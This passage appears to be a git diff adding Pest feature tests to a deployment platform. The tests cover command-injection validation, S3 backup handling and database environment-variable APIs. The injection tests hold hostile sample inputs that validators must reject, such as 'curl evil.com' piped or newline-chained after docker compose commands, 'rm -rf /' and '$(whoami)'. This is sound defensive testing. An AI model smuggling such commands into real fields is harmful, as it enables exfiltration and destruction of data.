XCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=",
"tags": [
"object",
"storage",
diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php
index b2df8d1f1..12a24f42c 100644
--- a/tests/Feature/CommandInjectionSecurityTest.php
+++ b/tests/Feature/CommandInjectionSecurityTest.php
@@ -236,6 +236,369 @@
});
});
+describe('dockerfile_target_build validation', function () {
+ test('rejects shell metacharacters in dockerfile_target_build', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['dockerfile_target_build' => 'production; echo pwned'],
+ ['dockerfile_target_build' => $rules['dockerfile_target_build']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects command substitution in dockerfile_target_build', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['dockerfile_target_build' => 'builder$(whoami)'],
+ ['dockerfile_target_build' => $rules['dockerfile_target_build']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects ampersand injection in dockerfile_target_build', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['dockerfile_target_build' => 'stage && env'],
+ ['dockerfile_target_build' => $rules['dockerfile_target_build']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('allows valid target names', function ($target) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['dockerfile_target_build' => $target],
+ ['dockerfile_target_build' => $rules['dockerfile_target_build']]
+ );
+
+ expect($validator->fails())->toBeFalse();
+ })->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']);
+
+ test('runtime validates dockerfile_target_build', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+
+ // Test that validateShellSafeCommand is also available as a pattern
+ $pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN;
+ expect(preg_match($pattern, 'production'))->toBe(1);
+ expect(preg_match($pattern, 'build; env'))->toBe(0);
+ expect(preg_match($pattern, 'target`whoami`'))->toBe(0);
+ });
+});
+
+describe('base_directory validation', function () {
+ test('rejects shell metacharacters in base_directory', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['base_directory' => '/src; echo pwned'],
+ ['base_directory' => $rules['base_directory']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects command substitution in base_directory', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['base_directory' => '/dir$(whoami)'],
+ ['base_directory' => $rules['base_directory']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('allows valid base directories', function ($dir) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['base_directory' => $dir],
+ ['base_directory' => $rules['base_directory']]
+ );
+
+ expect($validator->fails())->toBeFalse();
+ })->with(['/', '/src', '/backend/app', '/packages/@scope/app']);
+
+ test('runtime validates base_directory via validatePathField', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+
+ expect($method->invoke($instance, '/src', 'base_directory'))
+ ->toBe('/src');
+ });
+});
+
+describe('docker_compose_custom_command validation', function () {
+ test('rejects semicolon injection in docker_compose_custom_start_command', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_custom_start_command' => 'docker compose up; echo pwned'],
+ ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects pipe injection in docker_compose_custom_build_command', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'],
+ ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects ampersand chaining in docker_compose_custom_start_command', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'],
+ ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects command substitution in docker_compose_custom_build_command', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_custom_build_command' => 'docker compose build $(whoami)'],
+ ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('allows valid docker compose commands', function ($cmd) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_custom_start_command' => $cmd],
+ ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
+ );
+
+ expect($validator->fails())->toBeFalse();
+ })->with([
+ 'docker compose build',
+ 'docker compose up -d --build',
+ 'docker compose -f custom.yml build --no-cache',
+ ]);
+
+ test('rejects backslash in docker_compose_custom_start_command', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'],
+ ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects single quotes in docker_compose_custom_start_command', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"],
+ ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects double quotes in docker_compose_custom_start_command', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'],
+ ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects newline injection in docker_compose_custom_start_command', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"],
+ ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects carriage return injection in docker_compose_custom_build_command', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"],
+ ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('runtime validates docker compose commands', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validateShellSafeCommand');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command'))
+ ->toThrow(RuntimeException::class, 'contains forbidden shell characters');
+
+ expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command'))
+ ->toThrow(RuntimeException::class, 'contains forbidden shell characters');
+
+ expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command'))
+ ->toBe('docker compose up -d --build');
+ });
+});
+
+describe('custom_docker_run_options validation', function () {
+ test('rejects semicolon injection in custom_docker_run_options', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'],
+ ['custom_docker_run_options' => $rules['custom_docker_run_options']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects command substitution in custom_docker_run_options', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['custom_docker_run_options' => '--hostname=$(whoami)'],
+ ['custom_docker_run_options' => $rules['custom_docker_run_options']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('allows valid docker run options', function ($opts) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['custom_docker_run_options' => $opts],
+ ['custom_docker_run_options' => $rules['custom_docker_run_options']]
+ );
+
+ expect($validator->fails())->toBeFalse();
+ })->with([
+ '--cap-add=NET_ADMIN --cap-add=NET_RAW',
+ '--privileged --init',
+ '--memory=512m --cpus=2',
+ ]);
+});
+
+describe('container name validation', function () {
+ test('rejects shell injection in container name', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['post_deployment_command_container' => 'my-container; echo pwned'],
+ ['post_deployment_command_container' => $rules['post_deployment_command_container']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('allows valid container names', function ($name) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['post_deployment_command_container' => $name],
+ ['post_deployment_command_container' => $rules['post_deployment_command_container']]
+ );
+
+ expect($validator->fails())->toBeFalse();
+ })->with(['my-app', 'nginx_proxy', 'web.server', 'app123']);
+
+ test('runtime validates container names', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validateContainerName');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, 'container; echo pwned'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+
+ expect($method->invoke($instance, 'my-app'))
+ ->toBe('my-app');
+ });
+});
+
+describe('dockerfile_target_build rules survive array_merge in controller', function () {
+ test('dockerfile_target_build safe regex is not overridden by local rules', function () {
+ $sharedRules = sharedDataApplications();
+
+ // Simulate what ApplicationsController does: array_merge(shared, local)
+ $localRules = [
+ 'name' => 'string|max:255',
+ 'docker_compose_domains' => 'array|nullable',
+ ];
+ $merged = array_merge($sharedRules, $localRules);
+
+ expect($merged)->toHaveKey('dockerfile_target_build');
+ expect($merged['dockerfile_target_build'])->toBeArray();
+ expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN);
+ });
+});
+
+describe('docker_compose_custom_command rules survive array_merge in controller', function () {
+ test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () {
+ $sharedRules = sharedDataApplications();
+
+ // Simulate what ApplicationsController does: array_merge(shared, local)
+ // After our fix, local no longer contains docker_compose_custom_start_command,
+ // so the shared regex rule must survive
+ $localRules = [
+ 'name' => 'string|max:255',
+ 'docker_compose_domains' => 'array|nullable',
+ ];
+ $merged = array_merge($sharedRules, $localRules);
+
+ expect($merged['docker_compose_custom_start_command'])->toBeArray();
+ expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
+ });
+
+ test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
+ $sharedRules = sharedDataApplications();
+
+ $localRules = [
+ 'name' => 'string|max:255',
+ 'docker_compose_domains' => 'array|nullable',
+ ];
+ $merged = array_merge($sharedRules, $localRules);
+
+ expect($merged['docker_compose_custom_build_command'])->toBeArray();
+ expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
+ });
+});
+
describe('API route middleware for deploy actions', function () {
test('application start route requires deploy ability', function () {
$routes = app('router')->getRoutes();
diff --git a/tests/Feature/DatabaseBackupJobTest.php b/tests/Feature/DatabaseBackupJobTest.php
index d7efc2bcd..37c377dab 100644
--- a/tests/Feature/DatabaseBackupJobTest.php
+++ b/tests/Feature/DatabaseBackupJobTest.php
@@ -1,6 +1,10 @@
toHaveKey('s3_storage_deleted');
expect($casts['s3_storage_deleted'])->toBe('boolean');
});
+
+test('upload_to_s3 throws exception and disables s3 when storage is null', function () {
+ $backup = ScheduledDatabaseBackup::create([
+ 'frequency' => '0 0 * * *',
+ 'save_s3' => true,
+ 's3_storage_id' => 99999,
+ 'database_type' => 'App\Models\StandalonePostgresql',
+ 'database_id' => 1,
+ 'team_id' => Team::factory()->create()->id,
+ ]);
+
+ $job = new DatabaseBackupJob($backup);
+
+ $reflection = new ReflectionClass($job);
+ $s3Property = $reflection->getProperty('s3');
+ $s3Property->setValue($job, null);
+
+ $method = $reflection->getMethod('upload_to_s3');
+
+ expect(fn () => $method->invoke($job))
+ ->toThrow(Exception::class, 'S3 storage configuration is missing or has been deleted');
+
+ $backup->refresh();
+ expect($backup->save_s3)->toBeFalsy();
+ expect($backup->s3_storage_id)->toBeNull();
+});
+
+test('deleting s3 storage disables s3 on linked backups', function () {
+ $team = Team::factory()->create();
+
+ $s3 = S3Storage::create([
+ 'name' => 'Test S3',
+ 'region' => 'us-east-1',
+ 'key' => 'test-key',
+ 'secret' => 'test-secret',
+ 'bucket' => 'test-bucket',
+ 'endpoint' => 'https://s3.example.com',
+ 'team_id' => $team->id,
+ ]);
+
+ $backup1 = ScheduledDatabaseBackup::create([
+ 'frequency' => '0 0 * * *',
+ 'save_s3' => true,
+ 's3_storage_id' => $s3->id,
+ 'database_type' => 'App\Models\StandalonePostgresql',
+ 'database_id' => 1,
+ 'team_id' => $team->id,
+ ]);
+
+ $backup2 = ScheduledDatabaseBackup::create([
+ 'frequency' => '0 0 * * *',
+ 'save_s3' => true,
+ 's3_storage_id' => $s3->id,
+ 'database_type' => 'App\Models\StandaloneMysql',
+ 'database_id' => 2,
+ 'team_id' => $team->id,
+ ]);
+
+ // Unrelated backup should not be affected
+ $unrelatedBackup = ScheduledDatabaseBackup::create([
+ 'frequency' => '0 0 * * *',
+ 'save_s3' => true,
+ 's3_storage_id' => null,
+ 'database_type' => 'App\Models\StandalonePostgresql',
+ 'database_id' => 3,
+ 'team_id' => $team->id,
+ ]);
+
+ $s3->delete();
+
+ $backup1->refresh();
+ $backup2->refresh();
+ $unrelatedBackup->refresh();
+
+ expect($backup1->save_s3)->toBeFalsy();
+ expect($backup1->s3_storage_id)->toBeNull();
+ expect($backup2->save_s3)->toBeFalsy();
+ expect($backup2->s3_storage_id)->toBeNull();
+ expect($unrelatedBackup->save_s3)->toBeTruthy();
+});
+
+test('s3 storage has scheduled backups relationship', function () {
+ $team = Team::factory()->create();
+
+ $s3 = S3Storage::create([
+ 'name' => 'Test S3',
+ 'region' => 'us-east-1',
+ 'key' => 'test-key',
+ 'secret' => 'test-secret',
+ 'bucket' => 'test-bucket',
+ 'endpoint' => 'https://s3.example.com',
+ 'team_id' => $team->id,
+ ]);
+
+ ScheduledDatabaseBackup::create([
+ 'frequency' => '0 0 * * *',
+ 'save_s3' => true,
+ 's3_storage_id' => $s3->id,
+ 'database_type' => 'App\Models\StandalonePostgresql',
+ 'database_id' => 1,
+ 'team_id' => $team->id,
+ ]);
+
+ expect($s3->scheduledBackups()->count())->toBe(1);
+});
diff --git a/tests/Feature/DatabaseEnvironmentVariableApiTest.php b/tests/Feature/DatabaseEnvironmentVariableApiTest.php
new file mode 100644
index 000000000..f3297cf17
--- /dev/null
+++ b/tests/Feature/DatabaseEnvironmentVariableApiTest.php
@@ -0,0 +1,346 @@
+ 0]);
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+
+ $this->token = $this->user->createToken('test-token', ['*']);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+function createDatabase($context): StandalonePostgresql
+{
+ return StandalonePostgresql::create([
+ 'name' => 'test-postgres',
+ 'image' => 'postgres:15-alpine',
+ 'postgres_user' => 'postgres',
+ 'postgres_password' => 'password',
+ 'postgres_db' => 'postgres',
+ 'environment_id' => $context->environment->id,
+ 'destination_id' => $context->destination->id,
+ 'destination_type' => $context->destination->getMorphClass(),
+ ]);
+}
+
+describe('GET /api/v1/databases/{uuid}/envs', function () {
+ test('lists environment variables for a database', function () {
+ $database = createDatabase($this);
+
+ EnvironmentVariable::create([
+ 'key' => 'CUSTOM_VAR',
+ 'value' => 'custom_value',
+ 'resourceable_type' => StandalonePostgresql::class,
+ 'resourceable_id' => $database->id,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->getJson("/api/v1/databases/{$database->uuid}/envs");
+
+ $response->assertStatus(200);
+ $response->assertJsonFragment(['key' => 'CUSTOM_VAR']);
+ });
+
+ test('returns empty array when no environment variables exist', function () {
+ $database = createDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->getJson("/api/v1/databases/{$database->uuid}/envs");
+
+ $response->assertStatus(200);
+ $response->assertJson([]);
+ });
+
+ test('returns 404 for non-existent database', function () {
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->getJson('/api/v1/databases/non-existent-uuid/envs');
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('POST /api/v1/databases/{uuid}/envs', function () {
+ test('creates an environment variable', function () {
+ $database = createDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/databases/{$database->uuid}/envs", [
+ 'key' => 'NEW_VAR',
+ 'value' => 'new_value',
+ ]);
+
+ $response->assertStatus(201);
+
+ $env = EnvironmentVariable::where('key', 'NEW_VAR')
+ ->where('resourceable_id', $database->id)
+ ->where('resourceable_type', StandalonePostgresql::class)
+ ->first();
+
+ expect($env)->not->toBeNull();
+ expect($env->value)->toBe('new_value');
+ });
+
+ test('creates an environment variable with comment', function () {
+ $database = createDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/databases/{$database->uuid}/envs", [
+ 'key' => 'COMMENTED_VAR',
+ 'value' => 'some_value',
+ 'comment' => 'This is a test comment',
+ ]);
+
+ $response->assertStatus(201);
+
+ $env = EnvironmentVariable::where('key', 'COMMENTED_VAR')
+ ->where('resourceable_id', $database->id)
+ ->first();
+
+ expect($env->comment)->toBe('This is a test comment');
+ });
+
+ test('returns 409 when environment variable already exists', function () {
+ $database = createDatabase($this);
+
+ EnvironmentVariable::create([
+ 'key' => 'EXISTING_VAR',
+ 'value' => 'existing_value',
+ 'resourceable_type' => StandalonePostgresql::class,
+ 'resourceable_id' => $database->id,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/databases/{$database->uuid}/envs", [
+ 'key' => 'EXISTING_VAR',
+ 'value' => 'new_value',
+ ]);
+
+ $response->assertStatus(409);
+ });
+
+ test('returns 422 when key is missing', function () {
+ $database = createDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/databases/{$database->uuid}/envs", [
+ 'value' => 'some_value',
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
+
+describe('PATCH /api/v1/databases/{uuid}/envs', function () {
+ test('updates an environment variable', function () {
+ $database = createDatabase($this);
+
+ EnvironmentVariable::create([
+ 'key' => 'UPDATE_ME',
+ 'value' => 'old_value',
+ 'resourceable_type' => StandalonePostgresql::class,
+ 'resourceable_id' => $database->id,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/databases/{$database->uuid}/envs", [
+ 'key' => 'UPDATE_ME',
+ 'value' => 'new_value',
+ ]);
+
+ $response->assertStatus(201);
+
+ $env = EnvironmentVariable::where('key', 'UPDATE_ME')
+ ->where('resourceable_id', $database->id)
+ ->first();
+
+ expect($env->value)->toBe('new_value');
+ });
+
+ test('returns 404 when environment variable does not exist', function () {
+ $database = createDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/databases/{$database->uuid}/envs", [
+ 'key' => 'NONEXISTENT',
+ 'value' => 'value',
+ ]);
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('PATCH /api/v1/databases/{uuid}/envs/bulk', function () {
+ test('creates environment variables with comments', function () {
+ $database = createDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
+ 'data' => [
+ [
+ 'key' => 'DB_HOST',
+ 'value' => 'localhost',
+ 'comment' => 'Database host',
+ ],
+ [
+ 'key' => 'DB_PORT',
+ 'value' => '5432',
+ ],
+ ],
+ ]);
+
+ $response->assertStatus(201);
+
+ $envWithComment = EnvironmentVariable::where('key', 'DB_HOST')
+ ->where('resourceable_id', $database->id)
+ ->where('resourceable_type', StandalonePostgresql::class)
+ ->first();
+
+ $envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT')
+ ->where('resourceable_id', $database->id)
+ ->where('resourceable_type', StandalonePostgresql::class)
+ ->first();
+
+ expect($envWithComment->comment)->toBe('Database host');
+ expect($envWithoutComment->comment)->toBeNull();
+ });
+
+ test('updates existing environment variables via bulk', function () {
+ $database = createDatabase($this);
+
+ EnvironmentVariable::create([
+ 'key' => 'BULK_VAR',
+ 'value' => 'old_value',
+ 'comment' => 'Old comment',
+ 'resourceable_type' => StandalonePostgresql::class,
+ 'resourceable_id' => $database->id,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
+ 'data' => [
+ [
+ 'key' => 'BULK_VAR',
+ 'value' => 'new_value',
+ 'comment' => 'Updated comment',
+ ],
+ ],
+ ]);
+
+ $response->assertStatus(201);
+
+ $env = EnvironmentVariable::where('key', 'BULK_VAR')
+ ->where('resourceable_id', $database->id)
+ ->first();
+
+ expect($env->value)->toBe('new_value');
+ expect($env->comment)->toBe('Updated comment');
+ });
+
+ test('rejects comment exceeding 256 characters', function () {
+ $database = createDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
+ 'data' => [
+ [
+ 'key' => 'TEST_VAR',
+ 'value' => 'value',
+ 'comment' => str_repeat('a', 257),
+ ],
+ ],
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('returns 400 when data is missing', function () {
+ $database = createDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", []);
+
+ $response->assertStatus(400);
+ });
+});
+
+describe('DELETE /api/v1/databases/{uuid}/envs/{env_uuid}', function () {
+ test('deletes an environment variable', function () {
+ $database = createDatabase($this);
+
+ $env = EnvironmentVariable::create([
+ 'key' => 'DELETE_ME',
+ 'value' => 'to_delete',
+ 'resourceable_type' => StandalonePostgresql::class,
+ 'resourceable_id' => $database->id,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->deleteJson("/api/v1/databases/{$database->uuid}/envs/{$env->uuid}");
+
+ $response->assertStatus(200);
+ $response->assertJson(['message' => 'Environment variable deleted.']);
+
+ expect(EnvironmentVariable::where('uuid', $env->uuid)->first())->toBeNull();
+ });
+
+ test('returns 404 for non-existent environment variable', function () {
+ $database = createDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->deleteJson("/api/v1/databases/{$database->uuid}/envs/non-existent-uuid");
+
+ $response->assertStatus(404);
+ });
+});
diff --git a/tests/Feature/DockerCleanupJobTest.php b/tests/Feature/DockerCleanupJobTest.php
new file mode 100644
index 000000000..446260e22
--- /dev/null
+++ b/tests/Feature/DockerCleanupJobTest.php
@@ -0,0 +1,50 @@
+create();
+ $team = $user->teams()->first();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ // Make server not functional by setting is_reachable to false
+ $server->settings->update(['is_reachable' => false]);
+
+ $job = new DockerCleanupJob($server);
+ $job->handle();
+
+ $execution = DockerCleanupExecution::where('server_id', $server->id)->first();
+
+ expect($execution)->not->toBeNull()
+ ->and($execution->status)->toBe('failed')
+ ->and($execution->message)->toContain('not functional')
+ ->and($execution->finished_at)->not->toBeNull();
+});
+
+it('creates a failed execution record when server is force disabled', function () {
+ $user = User::factory()->create();
+ $team = $user->teams()->first();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ // Make server not functional by force disabling
+ $server->settings->update([
+ 'is_reachable' => true,
+ 'is_usable' => true,
+ 'force_disabled' => true,
+ ]);
+
+ $job = new DockerCleanupJob($server);
+ $job->handle();
+
+ $execution = DockerCleanupExecution::where('server_id', $server->id)->first();
+
+ expect($execution)->not->toBeNull()
+ ->and($execution->status)->toBe('failed')
+ ->and($execution->message)->toContain('not functional');
+});
diff --git a/tests/Feature/EnvironmentVariableBulkCommentApiTest.php b/tests/Feature/EnvironmentVariableBulkCommentApiTest.php
new file mode 100644
index 000000000..f038ad682
--- /dev/null
+++ b/tests/Feature/EnvironmentVariableBulkCommentApiTest.php
@@ -0,0 +1,244 @@
+ 0]);
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
